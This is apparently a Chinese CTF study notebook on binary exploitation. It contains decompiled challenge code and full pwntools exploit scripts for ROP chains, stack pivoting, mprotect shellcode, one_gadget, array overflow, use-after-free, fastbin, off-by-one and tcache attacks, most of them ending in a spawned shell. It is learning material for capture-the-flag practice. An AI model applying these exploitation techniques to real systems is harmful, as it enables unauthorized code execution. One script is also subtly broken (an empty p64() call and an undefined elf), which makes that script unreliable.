pa=p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
pa+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0x40)*2+p64(read)
pa+=p64(pop_rdi)+p64(flg)+p64(puts)
p.send(pa)

p.interactive()

自动攻击

  1. rop
    题干

    int overflow()
    {
      char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
    
      return gets(v1);
    }
    

    exp(from struct import pack要引入)

    利用ROPgadget --binary './' --ropchain,会生成一串rop可以用来那拿shell

    struct.pack() 函数用于根据指定的格式将值打包到一个字节对象中。它通常用于二进制数据处理、网络通信以及处理二进制文件格式等任务。

    以下是 struct.pack() 函数的简要说明:

    • 函数的第一个参数是格式字符串,它指定了数据的格式。该格式字符串定义了值应该如何被打包。
    • 后续的参数是要打包到字节对象中的值。
    • 函数返回一个包含按照指定格式打包的二进制数据的字节对象。

    以下是一个简单的示例:

    pythonCopy codefrom struct import pack
    
    # 将整数和浮点数打包成二进制格式
    packed_data = pack('i f', 42, 3.14)
    
    print(packed_data)  # 输出: b'*\x00\x00\x00\xcd\xcc@'
    

    在这个示例中:

    • 'i f' 是格式字符串,其中 'i' 表示一个4字节的整数,'f' 表示一个4字节的浮点数。
    • 42 是要打包的整数值。
    • 3.14 是要打包的浮点数值。

    结果中的 packed_data 是一个包含按照指定格式打包的二进制数据的字节对象。

    struct.pack() 在需要准备要写入文件、发送到网络或者与低级二进制协议交互时特别有用。

    pack('<I', 0x0806ecda) 这个代码片段使用了 Python 的 struct.pack() 函数,它的作用是将一个 32 位无符号整数(I0x0806ecda 打包成小端字节序(<)的二进制数据。

    在这个上下文中,0x0806ecda 是一个内存地址,而 pack('<I', 0x0806ecda) 将其转换为二进制格式以便在编写针对漏洞的利用时使用。

    通常,0x0806ecda 这样的内存地址在漏洞利用中用于构造 Return-Oriented Programming(ROP)链,这是一种利用现有程序代码片段(通常称为gadgets)来执行特定操作的方法。在这个例子中,0x0806ecda 可能是一个内存中的地址,指向一个 pop edx ; ret 的指令序列。

    pop edx 是一个常见的指令序列,它将堆栈中的值弹出并存储到寄存器 edx 中,然后 ret 指令将程序的控制流返回到栈中弹出的地址,这样就可以控制程序的执行流程。

    所以,pack('<I', 0x0806ecda) 可能是在准备一个 ROP 链的一部分,用于利用某个漏洞或者对程序进行攻击。

    from pwn import*
    from struct import pack
    io=remote('node4.buuoj.cn',29616)
    p = b'a'*(0xc+4)
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    io.sendline(p)
    io.interactive()ret2csuret2csu
    

ret2csu

image-20240204105537481

栈迁移

  1. ciscn_2019_es_2(开了nx保护)

    题干

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}


​ exp

from pwn import *
r = remote('node5.buuoj.cn',25199)
context.log_level = 'debug'

sys = 0x08048400
ret = 0x08048562

payload = b'a'*0x27 + b'b'
r.send(payload)
r.recvuntil('b')
pre_ebp = u32(r.recv(4))

payload1 =(b'aaaa'+p32(sys)+b'aaaa'+p32(pre_ebp-0x28)+b'/bin/sh\x00').ljust(0x28, b'p')
payload1 +=  p32(pre_ebp-0x38)+ p32(ret)
r.sendline(payload1)
r.interactive()


静态链接类

(有几乎所有函数)ELF找函数此时都用e.symbols['']

1.get_started_3dsctf_2016(nx保护)

​ 题干(用mprotect函数修改权限为可执行)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

exp(用自动攻击更简单)

from pwn import *
#r = process('./get_started_3dsctf_2016')
r = remote("node5.buuoj.cn",28954)
e = ELF('./get_started_3dsctf_2016')
#gdb.attach(r)
mprotect = e.symbols['mprotect']
read = e.symbols['read']

ret_3 = 0x809e4c5 #栈平衡pop3个参数
                  #0x0809e4c5 : pop ebp ; pop esi ; pop edi ; ret
addr = 0x80EB000 #看下方图片

payload=b'a'*0x38+p32(mprotect)+p32(ret_3)+p32(addr)+p32(0x100)+p32(7)+p32(read)+p32(ret_3)+p32(0)+p32(addr)+p32(0x100)+p32(addr)
#为什么是b'a'*0x38而不用覆盖ebp,看汇编因为只有main函数,ebp没有入栈  
# sub     esp, 3Ch
# mov     [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? "
# call    printf
# lea     eax, [esp+3Ch+var_38]
# mov     [esp+3Ch+var_3C], eax
# call    gets
# xor     eax, eax
# add     esp, 3Ch
# retn
r.sendline(payload)

payload = asm(shellcraft.sh())
r.sendline(payload)

r.interactive()

联想截图_20240311154616

str类函数\x00绕过

  1. ez_havor 2016(没开nx)
    题干

    void *chall()
    {
      size_t v0; // eax
      void *result; // eax
      char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
      _BYTE *v3; // [esp+40Ch] [ebp-Ch]
    
      printf("Yippie, lets crash: %p\n", s);
      printf("Whats your name?\n");
      printf("> ");
      fgets(s, 1023, stdin);
      v0 = strlen(s);
      v3 = memchr(s, 10, v0);
      if ( v3 )
        *v3 = 0;
      printf("\nWelcome %s!\n", s);
      result = (void *)strcmp(s, "crashme");//strcmp是比较到\0为止即\x00
      if ( !result )
        return vuln((int)s, 0x400u);
      return result;
    }
    
    
    
    
    vuln
    void *__cdecl vuln(int src, size_t n)
    {
      char dest[50]; // [esp+6h] [ebp-32h] BYREF
    
      return memcpy(dest, &src, n);
    }
    

    exp

    from pwn import *
    r = process("./ez_pz_hackover_2016")
    #r = remote('node5.buuoj.cn',28332)
    context.log_level = 'debug'
    
    #gdb.attach(r)
    r.recvuntil('crash: 0x')//0x是为了下一句能截取到完整的地址,否则0x会占两位位置,地址刚好8位
    s_addr = int(r.recv(8), 16)
    shelladdr = s_addr - 28//s的地址比ebp高,s地址-28后刚好是ret address的位置
    print('0x%x' %s_addr)
    
    payload1 = b'crashme\x00'
    payload = payload1.ljust(26,b'a')+p32(shelladdr) + asm(shellcraft.sh())
    r.sendline(payload)
    #pause()
    r.interactive()
    
    

异架构

本地调试:

tty:窗口

窗口2.

​ 文件调试

qemu-aarch64 -g 1234 -L . ./problem 启动 -g 设置gdbserver端口 -L 设置动态连接库地址

qemu-mipsel -g 1234 ./文件

​ 脚本调试

python3 ex

窗口0.gdb-multiarch ./文件 开一个新shell输 ,

set architecture mips/arm

​ target remote 127.0.0.1:1234 (ip:port) ip本地一般是127.0.0.1,port看-g的端口号

窗口1:显示调试信息

b main 后c才能在主函数调试si进入函数

模板

from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "-g", "1234", "./"])

#gdb.attach(target=("127.0.0.1", 1234), exe='文件名', gdbscript="b *0x010570\nc\n")#可以不下断点
#gdb.attach(target=("127.0.0.1", 1234), exe='文件名')

mips架构

寄存器:

前三个参数:A0,A1,A2

返回地址:$ra

rip:pc

rax: v0 system的系统调用是0xfab

汇编:

jr +寄存器:跳转到寄存器(Jump Register)

arm架构

寄存器:

前三个参数:R0,R1,R2

汇编:

one_gadget

1.one

题干

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF

  v4[2] = __readfsqword(0x28u);
  init();
  printf("Give me your one gadget:");
  __isoc99_scanf("%ld", v4);
  v4[1] = v4[0];
  (v4[0])();
  return 0;
}


int init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  return printf("here is the gift for u:%p\n", &printf);
}

保护竟然全开

可以看到要我们输入v4,而v4是一个函数指针,并且在下面有调用,,,所以我们可以在v4里面输入gadget,,,%ld需要我们将地址转换成十进制的数

因为我们收到的地址是一个字符串,eval()函数是计算括号里面字符串的值,可以将十六进制的数转换成十进制

img

init里面直接给我们printf的地址,所以我们可以泄漏libc的地址

找一个gadget

img

【讲一下关于gadget】
这里找gadget,要看此时的程序是否满足one_gadget下面的constraints

第一个gadget需要满足的条件是rcxnull、[rbp-0x70]null 或者 [rcx]null、[rbp-0x70]null

img

调试让程序走到这里

img

方法:(gdb one_gadget,然后b printf,接下来一直n下一步就行【执行到__isoc99_scanf@plt,按两次n就行】)

解释一下为什么是这里

img

因为我们可以看到先调用了__isoc99_scanf函数,记下来并且返回值存放在[rbp-0x18]刚好是v4的地址,因为存储器直接是不能直接传值的,所以用了rax寄存器做中转,[rbp-0x18]的值先传给rax,然后rax的值再传给[rbp-0x10](也就是v5),现在v4和v5的值一样,接下来v5的值给了rdx,接下来调用rdx也就是调用了v4(没有直接调用v4,猜测的可能性,因为v4是还要作为参数)

img

可以看到rcxnull,那么[rcx]null,满足第一个条件,但是不满足第二个条件,[rbp-0x70]=0x7ffff7fad760 不为null,所以第一个gadget不可以,相应的,我们可以查看其它gadget第二个和第三个也都不满足条件最后看下最后一个

img

nice,满足条件,[rsp+0x70]==null,所以,我们选择最后一个gadget

exp

from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')
 
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#转成十进制
log.success('printf_addr==>'+str(printf_addr))#打印到控制台上
 
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()

数组溢出

1.题干guestbook(只有nx保护)

void __cdecl GuestBook()
{
  int index; // [rsp+Ch] [rbp-224h] BYREF
  char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
  unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF

  puts("Welcome to starRail.");
  puts("please enter your name and id");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("index");
      __isoc99_scanf("%d", &index);
      if ( index <= 32 ) //数组溢出
        break;
      puts("out of range");
    }
    if ( index < 0 )
      break;
    puts("name:");
    read(0, name[index], 0x10uLL);
    puts("id:");
    __isoc99_scanf("%hhu", &id[index]);
  }
  puts("Have a good time!");
}

exp

image-20240408222618336

from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
r = process('./pwn')
#r = remote(')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sys=0x401323
for i in range(32):
   r.recvuntil(b'index')
   r.sendline(str(i))
   print("index:"+str(i))
   r.recvuntil(b'name:')
   r.send(p64(sys)*2)
   r.recvuntil(b'id')
   r.sendline(b'1')

r.recvuntil(b'index')
r.sendline(b'32') #开始溢出
r.sendlineafter(b'name:', p64(sys))
r.sendlineafter(b'id:', b'8') #输入8刚好覆盖rbp最后一位指向前面某个name填充的地址见上图
r.recvuntil(b'index')
r.sendline(b'-1') #退出循环
#gdb.attach(r)


r.interactive()

2.题干choose_the_seat

void __noreturn vuln()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Here is the seat from 0 to 9, please choose one.");
  __isoc99_scanf("%d", &v0);
  if ( v0 > 9 )
  {
    printf("There is no such seat");
    exit(1);
  }
  puts("please input your name");
  read(0, &seats[16 * v0], 0x10uLL);
  printf("Your name is ");
  puts(&seats[16 * v0]);
  printf("Your seat is %d\n", v0);
  printf("Bye");
  exit(0);
}

exp &seats的地址为0x4040a0

image-20240415214439413

from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
#r = process('./vuln')
r = remote('node5.anna.nssctf.cn',28100)
e = ELF('./vuln')
libc = ELF('./libc-2.31.so')

r.sendlineafter('one.',b'-6') #scanf函数一定要sendline

r.recvuntil(b'please input your name\n')
r.send(p64(0x4011d6)) #改exit为vuln函数

r.sendlineafter('one.',b'-8')
r.recvuntil(b'please input your name\n')
r.send(b'a'*8) #puts见\x0停止,刚好是printf函数
printf = u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print("printf:"+hex(printf))

base= printf-libc.sym['printf']
print("base:"+hex(base))

r.sendlineafter('one.',b'-6')
r.recvuntil(b'please input your name\n')
r.send(p64(0xe3b01+base)) 
r.interactive()

tmux

ctrl+b +c 打开新窗口
ctrl+b +% 分左右屏幕
ctrl+b +“ 上下分屏
ctrl+b +方向 换屏幕
ctrl+d 关屏

uaf

题目来自iscc2024-iscc——u
查看保护

代码分析


exp

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./WEEK2-pwn2_ISCC_U"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = remote(')

def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
    sla("What's your choice :",str(idx))

def add(size,content):
    choice(1)   
    sa('Note size :',str(size))
    sa('Content :',content)
   
def delete(idx):
    choice(2)
    sa('Index :',str(idx))
    #print("删掉chunk%d" % idx)
    
def show(idx):
    choice(3)
    sa('Index :',str(idx))
def exit():
    choice(4)
    

#首先利用unsortbin泄露libc
add(0x500,b'a')
add(0x28,b'/bin/sh\x00') #原因避免下一步free后堆和top chunk合并导致在unsortedbin中找不到堆块
delete(0)
add(0x8,b'a') #一定要申请回来,保证下一步打印的时候fd指针存放的是打印函数的地址,如果在tcach中fd就是0了。
show(0)

base=u32(rc(4))-0x1e9-0x50-libc.sym['__malloc_hook']
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))

delete(2)
delete(1)
add(0x8,p32(sys)+b'sh')
show(2)
it()

fastbin_attack(uaf)

1.测试题/fastbin

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1:
        add_chunk();
        break;
      case 2:
        delete_chunk();
        break;
      case 3:
        edit_chunk();
        break;
      case 4:
        show_chunk();
        break;
      case 5:
        exit(0);
      default:
        puts("invalid choice.");
        break;
    }
  }
}

exp

from pwn import *

libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
#p = remote("192.168.123.29",10002)

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))


add_chunk(0, 0x200)
add_chunk(1, 0x20) #这个chuck(1)是防止chunk(0)free后被合并入topchunk
delete_chunk(0)
show_chunk(0) #打印出main_arean+88地址
base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena']-88
info("libc base: " + hex(base))

add_chunk(0, 0x68)
delete_chunk(0)
edit_chunk(0, p64())  # uaf伪造了一个堆块,-0x23是为了通过glibc堆检测,size位要有值
gdb.attach(p)
add_chunk(0, 0x68)

add_chunk(0, 0x68) #这是那个伪造堆块,不会在heap调试信息显示,因为是#base+libc.sym['__malloc_hook'] - 0x23。在栈段上

one_gadget = base + [0x3f3e6, 0x3f43a, 0xd5c07][2]

edit_chunk(0, b'a' * 0x13 + p64(one_gadget))

add_chunk(0, 0x20) #为了触发被改成ogg的malloc_hook,调用malloc时先检查malloca_hook是否为空,不为空则执行malloca_hook

p.interactive()


2 HNctf,what(不能指定堆块定位参数,)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setv111(argc, argv, envp);
  v4 = 0;
  puts("Welcome to H&NCTF2024");
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    if ( v4 <= 0 || v4 > 5 )
    {
      puts("Error");
    }
    else
    {
      switch ( v4 )
      {
        case 1:
          allocate();
          break;
        case 2:
          free_0(); //从最后一个堆块开始删
          break;
        case 3:
          show();
          break;
        case 4:
          edit();
          break;
        case 5:
          exit(0);
        default:
          continue;
      }
    }
  }

exp

from pwn import *
p=process('./what')  
elf=ELF('./what')  
lib=elf.libc  
context.log_level='debug'  
#p=remote('hackf.imxbt.cn',42474)  
def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0xd55\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
def choice(idx):
    sla('Enter your command:\n',str(idx))

def add(size):
    choice(1)
    sla('size',str(size))
    #print("添加chunk%d" % idx)   
def delete():
    choice(2)
    #print("删掉chunk%d" % idx)
def show(idx):
    choice(3)
    sa('please enter idx:\n',str(idx))
def edit(idx,content):
    choice(4)
    sa("please enter idx:\n",str(idx))
    sa("Please enter your content:\n",content)
 
debug
add(0x10)  #0
add(0x500)  #1
add(0x10)  #2

delete()  #2
delete()  #1
 
show(1)  
p.recvuntil('Content:')  
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0  
print(hex(base_addr))  
free_hook=base_addr+lib.sym['__free_hook']  
system_addr=base_addr+lib.sym['system']  

edit(2,p64(free_hook))  
#debug() 
add(0x10)  #1指向freehook
add(0x10) #2就是free_hook
add(0x10)  #3从unsortbin0x500大小的切下一部分
edit(3,b'/bin/sh\x00')  
edit(2,p64(system_addr))  #把freehook改system
delete()  #删去3,把内容弹到rdi
p.interactive()

off by one

1.xyctf one_byte

题干

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 4:
        edit_chunk();
        break;
      case 5:
        puts("[-] exit()");
        exit(0);
      default:
        puts("[-] Error choice!");
        break;
    }
  }

exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
filename = './vuln'
to = process(filename)

elf = ELF(filename)
libc = elf.libc
#ld = ELF('ld-2.31.so')
def debug():
    gdb.attach(to,"b*$rebase(0x1826)")
def choice(idx):
    to.sendlineafter(">>>",str(idx))
def add(idx,size):
    choice(1)
    to.sendlineafter("please input chunk_idx: ",str(idx))
    to.sendlineafter("Enter chunk size: ",str(size))
def delete(idx):
    choice(2)
    to.sendlineafter("please input chunk_idx: ",str(idx))
def show(idx):
    choice(3)
    to.sendlineafter("please input chunk_idx: ",str(idx))
def edit(idx,content):
    choice(4)
    to.sendlineafter("please input chunk_idx: ",str(idx))
    sleep(0.1)
    to.send(content)
debug()
#1.为填充cache bln [0xa0]做准备
add(0,0x98)
add(1,0x98)
add(2,0x98)
add(3,0x98)
add(4,0x98)
add(5,0x98)
add(6,0x98)

# 2.为后续利用off by one漏洞做准备
add(7,0x18)
add(8,0x18)
add(9,0x98)
add(10,0x18)

# 3.填满tcache btlns [0xa0]
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
# # 4.通过off by one,制造uaf漏洞,并泄露libc地址
edit(7,b'a'*0x18+p8(0xc1))
delete(8)
add(11,0xb8)
delete(9)
show(11)

to.recv(0x20)
llbc_base = u64(to.recv(6).ljust(8,b'\x00')) - 0x1ECBE0 #是__malloc_hook+0x16
print('libc_base:' + hex(llbc_base))
system_addr = llbc_base + libc.sym['system']
free_hook = llbc_base + libc.sym['__free_hook']

#5.恢复原本chunk的大小
edit(7,b'a'*0x18+p8(0x21))
#6.将多余的chunk申请掉,为后续改写chunk的fd指针做准备
add(12,0x18)
add(13,0x78)
#7.制造tcachebin的uaf
add(14,0x18)
add(15,0x68)
add(16,0x68)
add(17,0x68)
edit(14,b'd'*0x18+p8(0xe1))
delete(15) #原本15的chunk
add(18,0xd8)
#8.之所以把17也free,原因是需要改变tcachabin index的值
#改掉chunk 16 的fd指针,指向_free_hook
delete(17)
delete(16)
edit(18,b'a'*0x68+p64(0x71)+p64(free_hook))
#9.两次申请chunk,申请到_free_hook空间
add(19,0x68) #原本chunk16,
add(20,0x68) #_free_hook的空间
edit(19,b'/bin/sh;')
edit(20,p64(system_addr)) #填入system地址
delete(19) #触发_free_hook调用,调用system(’/bin/sh’)

to.interactive()

tcache机制

范围:最大0x440,之后放入unsortbin

在GLIBC2.26中,引入了一种新的bins,他类似于fastbin,但是每条链上最多可以有7个chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。
换句话说. tcache是比fastbin优先级更高范围更大的一类bins

对于tcache来说,他的free范围变大了,也就是说我们直接free一块unsorted bin大小的chunk,并不会直接进入unsorted bin而是会先进入tcache,只有对应大小的tcache满了以后,才会放入unsorted bin。
这时想要得到一个unsorted bin有以下方法:
1.free一个largebin,largebin不会放入tcache
2.先连续free填满tcache,再free放进unsorted bin
3.(2.31以后因为更新不可用)在存有uaf的时候,可以先连续free两次,再malloc三次快速填满tcache。这时因为tcache的个数是由count代表的,每申请一次就会-1且申请时并不判断count,先free两次造成double free,令next始终指向自身,这时count为2,再连续申请3次,count变为-1,而在比较时是char类型,也就是unsigned int8,-1远大干7,导致tcache认为已满
4.打tcache_pthread_struct修改count后freeimage-20240508201522275

bin中的检测机制

  1. double free:glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glvibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了。glibc2.27—ubuntu4加入了tchache的double free检测
  2. safe-linkingimage-20240509160427894

标签:__,addr,libc,frame,pwn,长征路,payload,p64
From: https://www.cnblogs.com/myxa/p/18221153

相关文章

  • pwn常用工具快捷键学习
    vim普通模式G(普通模式)来的文本最下方g+g(普通模式下)回到文本的开头f+目标单词的首字母(find普通模式)移动到目标单词d(delete)删除当前行u(undo)撤销文本模式I从当前行开头进行输入A当前行文末输入idaF7单步执行,遇到call......
  • pwn题libc换源
    资料:pwn题更换libc版本(z1r0.top)​pwn技术分享——使用patchelf和glibc-all-in-one替换程序依赖的libc文件_哔哩哔哩_bilibili下载libc./download2.23-0ubuntu11.2_amd64#glibc为你想要下载glibc的名字./download_oldlibc#list没有,可以使用./downl......
  • 栈溢出漏洞利用,详解基本ROP,构造rop链条实现攻击(pwn入门)
    写在前面:随着NX(Non-eXecutable)保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。目前被广泛使用的攻击手法是 返回导向编程 (ReturnOrientedProgramming),其主要思想是在 栈缓冲区溢出的基础上,利用......
  • BUUCTF pwn actf_2019_babystack
    先checksec看保护: ida看主程序:主要部分图片已经说了,由于最多只能往s中写入224字节,padding占据208字节,fakeebp是8字节,ret是8字节,便填满了,由于此处没有backdoor,于是想到栈迁移,在s上部署system("/bin/sh"),在leave_ret到s栈的地址,实行system("/bin/sh")思路分析: 1.先......
  • ctf-pwn 学习前知(1)
    学习pwn这个抽象到一定程度的东西,前期的坐牢是一定的,一个题目延申出的新知识也是超多的。所以写一个这个板块记录一下自己学习的东西,或许会有(2),(3)....checksec拿buuctf的test_your_nc为例子可以看到checksec后出现了很多东西Arch:amd64-64-little(程序架构信息,这是一个64位......
  • pwn练习
    [GFCTF2021]where_is_shellfrompwnimport*>>>elf=ELF("./shell")[*]'/home/za/ctf/pwn/nssctf/whereisshell/shell'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXen......
  • pwn杂项之linux命令执行
    通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替......
  • Pwned
    Pwned⏲️ReleaseDate//2020-09-25✔️MD5//4fff941050062efd06bc63ac8e740132☠Root//414......
  • 【介绍下Pwn,什么是Pwn?】
    ......
  • pwn基础入门-buuctf-2.rip
    2.rip题目:函数溢出,熟悉解题思路过程将下载下来的pwn1文件内容,放到ubuntu中checksec一下ubuntu中checksec文件从图上可以看出它是一个64位程序,仅开启了栈不可执行保护,没有打开NX防护(堆栈可执行),NoPIE.下面我们用IDA打开这个文件F5打开这个文件后,会有这样一......